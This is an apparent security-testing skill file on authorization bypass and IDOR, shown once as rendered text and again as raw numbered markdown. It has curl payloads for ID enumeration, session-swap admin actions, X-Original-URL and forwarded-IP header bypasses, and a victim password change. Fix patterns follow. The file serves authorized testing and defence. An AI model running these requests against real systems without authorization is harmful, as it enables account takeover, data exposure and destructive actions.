Authorization Bypass and IDOR
What Is Broken and Why
Access control failures occur when applications enforce authorization only at the UI layer, rely
on obscurity of object identifiers, or fail to validate that the requesting session owns the
referenced resource. Horizontal bypass allows users to access peer accounts' data by swapping
identifiers. Vertical bypass allows low-privileged users to invoke admin-only operations by
replaying high-privilege request structures with a low-privilege session. IDOR (Insecure Direct
Object Reference) exposes any predictable or discoverable resource identifier as a direct handle
to unauthorized data. Special request headers (X-Original-URL, X-Rewrite-URL) can override
routing in some reverse proxy configurations, bypassing ACL rules applied at the path level.
Key Signals
- Numeric or sequential IDs in URLs or parameters:
invoice=12345, user=100, EventID=1000001
- Different accounts created at similar times with adjacent IDs
- Responses containing another user's PII, financial data, or account settings when ID swapped
- Admin-only actions (delete, promote, deactivate) accessible via session swap
X-Original-URL or X-Rewrite-URL headers triggering 404 vs 403 — confirms header processing
X-Forwarded-For: 127.0.0.1 bypassing IP-based access restrictions to admin panels
- GUIDs or opaque tokens that, when substituted, return another user's object
menuitem= or accessPage= parameters accepting values outside a user's visible menu set
- Password change endpoint accepting
user= parameter without session-ownership validation
Methodology
- Map object references: During application use, record every parameter that references a
resource (document ID, user ID, order number, file name, menu item).
- Create test accounts: Register at least two accounts at different privilege levels; note
all object IDs each account owns.
- Horizontal bypass: With Account B's session, request objects owned by Account A by
substituting Account A's IDs.
- Vertical bypass: With low-privilege session, replay admin-only requests (delete, role
change, config update) captured from an admin session.
- IDOR enumeration: Increment/decrement integer IDs; test adjacent values; attempt GUID
prediction if UUIDs appear time-seeded.
- Header injection test: Send
X-Original-URL: /admin and X-Rewrite-URL: /admin on a
request to /; 404 response (vs 403 on direct access) confirms header support.
- IP spoofing header test: Send
X-Forwarded-For: 127.0.0.1 on requests to IP-restricted
admin endpoints; observe access control difference.
- POST-to-GET conversion: Test if server accepts session ID or IDOR parameter via GET when
originally designed for POST.
Payloads & Tools
# Horizontal IDOR — access another user's invoice
curl -s "https://TARGET/invoice?id=12345" \
-H "Cookie: SessionID=ATTACKER_SESSION"
# Enumerate adjacent IDs
for id in $(seq 12340 12350); do
echo -n "ID $id: "
curl -s -o /dev/null -w "%{http_code}" \
"https://TARGET/invoice?id=$id" \
-H "Cookie: SessionID=ATTACKER_SESSION"
echo
done
# Vertical bypass — low-priv session attempting admin delete
curl -X POST "https://TARGET/account/deleteEvent" \
-H "Cookie: SessionID=CUSTOMER_USER_SESSION" \
-d "EventID=1000002"
# X-Original-URL header test (confirms if reverse proxy processes it)
curl -s -o /dev/null -w "%{http_code}" \
"https://TARGET/" \
-H "X-Original-URL: /admin/users"
curl -s -o /dev/null -w "%{http_code}" \
"https://TARGET/" \
-H "X-Rewrite-URL: /admin/config"
# X-Original-URL bypass attempt to restricted path
curl -s "https://TARGET/" \
-H "X-Original-URL: /admin/dashboard" \
-H "Cookie: SessionID=LOW_PRIV_SESSION"
# IP spoofing via forwarding headers to bypass IP-based admin restriction
for header in "X-Forwarded-For" "X-Forward-For" "X-Remote-IP" "X-Originating-IP" \
"X-Remote-Addr" "X-Client-IP"; do
echo -n "$header: "
curl -s -o /dev/null -w "%{http_code}" \
"https://TARGET/admin/" \
-H "$header: 127.0.0.1"
echo
done
# IDOR on direct password change
curl -X POST "https://TARGET/changepassword" \
-H "Cookie: SessionID=ATTACKER_SESSION" \
-d "user=VICTIM_USERNAME&newPassword=hacked123"
# IDOR on file resource
curl "https://TARGET/showImage?img=img00001" \
-H "Cookie: SessionID=ATTACKER_SESSION"
# Try adjacent:
curl "https://TARGET/showImage?img=img00002" \
-H "Cookie: SessionID=ATTACKER_SESSION"
# Burp Autorize — install extension, browse as low-priv user; it auto-replays
# all requests with low-priv session to detect access control failures
Bypass Techniques
- Encoded IDs: Base64 or hex-encoded object IDs that decode to integers are still enumerable.
- GUIDs: UUIDv1 contains a timestamp; reconstruct approximate range and brute-force.
- Indirect reference swap: If application uses indirect maps (1→real_id), find the mapping
endpoint and enumerate it separately.
- Method switching: Try GET instead of POST, or PUT/PATCH instead of POST for restricted
operations.
- Content-Type switch: Change
application/json to application/x-www-form-urlencoded;
some authorization middleware only inspects one.
- Case and encoding variation:
/Admin/ vs /admin/; URL encoding of path segments to
evade path-based ACL matching.
- Parameter pollution:
user=ADMIN_ID&user=ATTACKER_ID — some frameworks take first, some
take last; test both.
Exploitation Scenarios
Scenario 1 — Horizontal IDOR: Access Another User's Account Settings
Setup: Account settings URL is https://TARGET/viewSettings?username=example_user.
Trigger: Attacker changes username=example_user to username=victim_user with own session.
Impact: Attacker reads victim's personal data, email, phone number, saved payment info.
Scenario 2 — Vertical Bypass via Session Swap on Admin Endpoint
Setup: Admin delete endpoint POST /account/deleteEvent captured; attacker has customer session.
Trigger: Replay identical POST with SessionID=CUSTOMER_USER_SESSION and a valid EventID.
Impact: Customer can delete any event, causing data loss or service disruption.
Scenario 3 — X-Original-URL Header Bypass on Reverse Proxy
Setup: Nginx proxy denies requests to /admin at the proxy layer; backend trusts X-Original-URL.
Trigger: Send GET / HTTP/1.1 with X-Original-URL: /admin/users; proxy allows GET /,
backend routes to /admin/users.
Impact: Full admin interface access without triggering proxy-level access controls.
False Positives
- A 200 response to a swapped ID that returns no sensitive data (empty object, generic message)
is not an exploitable IDOR.
X-Original-URL: /nonexistent returning 404 (not 403) confirms header support but only becomes
exploitable if the backend also trusts it for access control decisions.
- IP header bypass only matters if the application actually restricts access by IP; confirm by
testing without the header first.
Fix Patterns
- Enforce authorization checks server-side on every request; derive the subject from the server
session, never from user-supplied parameters.
- Use unpredictable object identifiers (cryptographically random UUIDs) to raise the bar for
enumeration, but do not rely on obscurity alone.
- Validate that the object referenced by the supplied ID belongs to the requesting user's session.
- Disable or strip
X-Original-URL, X-Rewrite-URL, and spoofable IP headers at the reverse
proxy before they reach the application.
- Implement role-based access control (RBAC) enforced server-side; verify privilege on every
state-changing operation.
- Use Burp Autorize or OWASP ZAP's Access Control Testing add-on in CI/CD to catch regressions.
Related Skills
[[bola-idor]] is the most concentrated form of authz bypass — where the authorization failure lives at the object level rather than the route level. [[path-traversal]] applies the same logic to the filesystem: escaping the intended directory is an authz bypass on file resources. When an endpoint accepts a numeric ID parameter, the full enumeration methodology lives in [[bola-idor]]. GraphQL APIs with object-level authz failures are covered in [[graphql-idor-via-introspection-leak]].
1---2name: authz-bypass3description: Test horizontal and vertical authorization bypass via session ID swapping between accounts, IDOR through parameter manipulation (invoice=, user=, menuitem=, EventID=), and special header injection (X-Original-URL, X-Rewrite-URL, X-Forwarded-For, X-Remote-IP, X-Client-IP with 127.0.0.1/localhost/RFC1918 values). Tools: Burp Suite with Autorize/AuthMatrix extensions, OWASP ZAP Access Control Testing add-on.4license: MIT5---67# Authorization Bypass and IDOR89## What Is Broken and Why1011Access control failures occur when applications enforce authorization only at the UI layer, rely12on obscurity of object identifiers, or fail to validate that the requesting session owns the13referenced resource. Horizontal bypass allows users to access peer accounts' data by swapping14identifiers. Vertical bypass allows low-privileged users to invoke admin-only operations by15replaying high-privilege request structures with a low-privilege session. IDOR (Insecure Direct16Object Reference) exposes any predictable or discoverable resource identifier as a direct handle17to unauthorized data. Special request headers (`X-Original-URL`, `X-Rewrite-URL`) can override18routing in some reverse proxy configurations, bypassing ACL rules applied at the path level.1920## Key Signals2122- Numeric or sequential IDs in URLs or parameters: `invoice=12345`, `user=100`, `EventID=1000001`23- Different accounts created at similar times with adjacent IDs24- Responses containing another user's PII, financial data, or account settings when ID swapped25- Admin-only actions (delete, promote, deactivate) accessible via session swap26- `X-Original-URL` or `X-Rewrite-URL` headers triggering 404 vs 403 — confirms header processing27- `X-Forwarded-For: 127.0.0.1` bypassing IP-based access restrictions to admin panels28- GUIDs or opaque tokens that, when substituted, return another user's object29- `menuitem=` or `accessPage=` parameters accepting values outside a user's visible menu set30- Password change endpoint accepting `user=` parameter without session-ownership validation3132## Methodology33341. **Map object references**: During application use, record every parameter that references a35 resource (document ID, user ID, order number, file name, menu item).362. **Create test accounts**: Register at least two accounts at different privilege levels; note37 all object IDs each account owns.383. **Horizontal bypass**: With Account B's session, request objects owned by Account A by39 substituting Account A's IDs.404. **Vertical bypass**: With low-privilege session, replay admin-only requests (delete, role41 change, config update) captured from an admin session.425. **IDOR enumeration**: Increment/decrement integer IDs; test adjacent values; attempt GUID43 prediction if UUIDs appear time-seeded.446. **Header injection test**: Send `X-Original-URL: /admin` and `X-Rewrite-URL: /admin` on a45 request to `/`; 404 response (vs 403 on direct access) confirms header support.467. **IP spoofing header test**: Send `X-Forwarded-For: 127.0.0.1` on requests to IP-restricted47 admin endpoints; observe access control difference.488. **POST-to-GET conversion**: Test if server accepts session ID or IDOR parameter via GET when49 originally designed for POST.5051## Payloads & Tools5253```bash54# Horizontal IDOR — access another user's invoice55curl -s "https://TARGET/invoice?id=12345" \56 -H "Cookie: SessionID=ATTACKER_SESSION"57# Enumerate adjacent IDs58for id in $(seq 12340 12350); do59 echo -n "ID $id: "60 curl -s -o /dev/null -w "%{http_code}" \61 "https://TARGET/invoice?id=$id" \62 -H "Cookie: SessionID=ATTACKER_SESSION"63 echo64done6566# Vertical bypass — low-priv session attempting admin delete67curl -X POST "https://TARGET/account/deleteEvent" \68 -H "Cookie: SessionID=CUSTOMER_USER_SESSION" \69 -d "EventID=1000002"7071# X-Original-URL header test (confirms if reverse proxy processes it)72curl -s -o /dev/null -w "%{http_code}" \73 "https://TARGET/" \74 -H "X-Original-URL: /admin/users"7576curl -s -o /dev/null -w "%{http_code}" \77 "https://TARGET/" \78 -H "X-Rewrite-URL: /admin/config"7980# X-Original-URL bypass attempt to restricted path81curl -s "https://TARGET/" \82 -H "X-Original-URL: /admin/dashboard" \83 -H "Cookie: SessionID=LOW_PRIV_SESSION"8485# IP spoofing via forwarding headers to bypass IP-based admin restriction86for header in "X-Forwarded-For" "X-Forward-For" "X-Remote-IP" "X-Originating-IP" \87 "X-Remote-Addr" "X-Client-IP"; do88 echo -n "$header: "89 curl -s -o /dev/null -w "%{http_code}" \90 "https://TARGET/admin/" \91 -H "$header: 127.0.0.1"92 echo93done9495# IDOR on direct password change96curl -X POST "https://TARGET/changepassword" \97 -H "Cookie: SessionID=ATTACKER_SESSION" \98 -d "user=VICTIM_USERNAME&newPassword=hacked123"99100# IDOR on file resource101curl "https://TARGET/showImage?img=img00001" \102 -H "Cookie: SessionID=ATTACKER_SESSION"103# Try adjacent:104curl "https://TARGET/showImage?img=img00002" \105 -H "Cookie: SessionID=ATTACKER_SESSION"106107# Burp Autorize — install extension, browse as low-priv user; it auto-replays108# all requests with low-priv session to detect access control failures109```110111## Bypass Techniques112113- **Encoded IDs**: Base64 or hex-encoded object IDs that decode to integers are still enumerable.114- **GUIDs**: UUIDv1 contains a timestamp; reconstruct approximate range and brute-force.115- **Indirect reference swap**: If application uses indirect maps (1→real_id), find the mapping116 endpoint and enumerate it separately.117- **Method switching**: Try GET instead of POST, or PUT/PATCH instead of POST for restricted118 operations.119- **Content-Type switch**: Change `application/json` to `application/x-www-form-urlencoded`;120 some authorization middleware only inspects one.121- **Case and encoding variation**: `/Admin/` vs `/admin/`; URL encoding of path segments to122 evade path-based ACL matching.123- **Parameter pollution**: `user=ADMIN_ID&user=ATTACKER_ID` — some frameworks take first, some124 take last; test both.125126## Exploitation Scenarios127128**Scenario 1 — Horizontal IDOR: Access Another User's Account Settings**129Setup: Account settings URL is `https://TARGET/viewSettings?username=example_user`.130Trigger: Attacker changes `username=example_user` to `username=victim_user` with own session.131Impact: Attacker reads victim's personal data, email, phone number, saved payment info.132133**Scenario 2 — Vertical Bypass via Session Swap on Admin Endpoint**134Setup: Admin delete endpoint `POST /account/deleteEvent` captured; attacker has customer session.135Trigger: Replay identical POST with `SessionID=CUSTOMER_USER_SESSION` and a valid `EventID`.136Impact: Customer can delete any event, causing data loss or service disruption.137138**Scenario 3 — X-Original-URL Header Bypass on Reverse Proxy**139Setup: Nginx proxy denies requests to `/admin` at the proxy layer; backend trusts `X-Original-URL`.140Trigger: Send `GET / HTTP/1.1` with `X-Original-URL: /admin/users`; proxy allows `GET /`,141backend routes to `/admin/users`.142Impact: Full admin interface access without triggering proxy-level access controls.143144## False Positives145146- A 200 response to a swapped ID that returns no sensitive data (empty object, generic message)147 is not an exploitable IDOR.148- `X-Original-URL: /nonexistent` returning 404 (not 403) confirms header support but only becomes149 exploitable if the backend also trusts it for access control decisions.150- IP header bypass only matters if the application actually restricts access by IP; confirm by151 testing without the header first.152153## Fix Patterns154155- Enforce authorization checks server-side on every request; derive the subject from the server156 session, never from user-supplied parameters.157- Use unpredictable object identifiers (cryptographically random UUIDs) to raise the bar for158 enumeration, but do not rely on obscurity alone.159- Validate that the object referenced by the supplied ID belongs to the requesting user's session.160- Disable or strip `X-Original-URL`, `X-Rewrite-URL`, and spoofable IP headers at the reverse161 proxy before they reach the application.162- Implement role-based access control (RBAC) enforced server-side; verify privilege on every163 state-changing operation.164- Use Burp Autorize or OWASP ZAP's Access Control Testing add-on in CI/CD to catch regressions.165166## Related Skills167168[[bola-idor]] is the most concentrated form of authz bypass — where the authorization failure lives at the object level rather than the route level. [[path-traversal]] applies the same logic to the filesystem: escaping the intended directory is an authz bypass on file resources. When an endpoint accepts a numeric ID parameter, the full enumeration methodology lives in [[bola-idor]]. GraphQL APIs with object-level authz failures are covered in [[graphql-idor-via-introspection-leak]].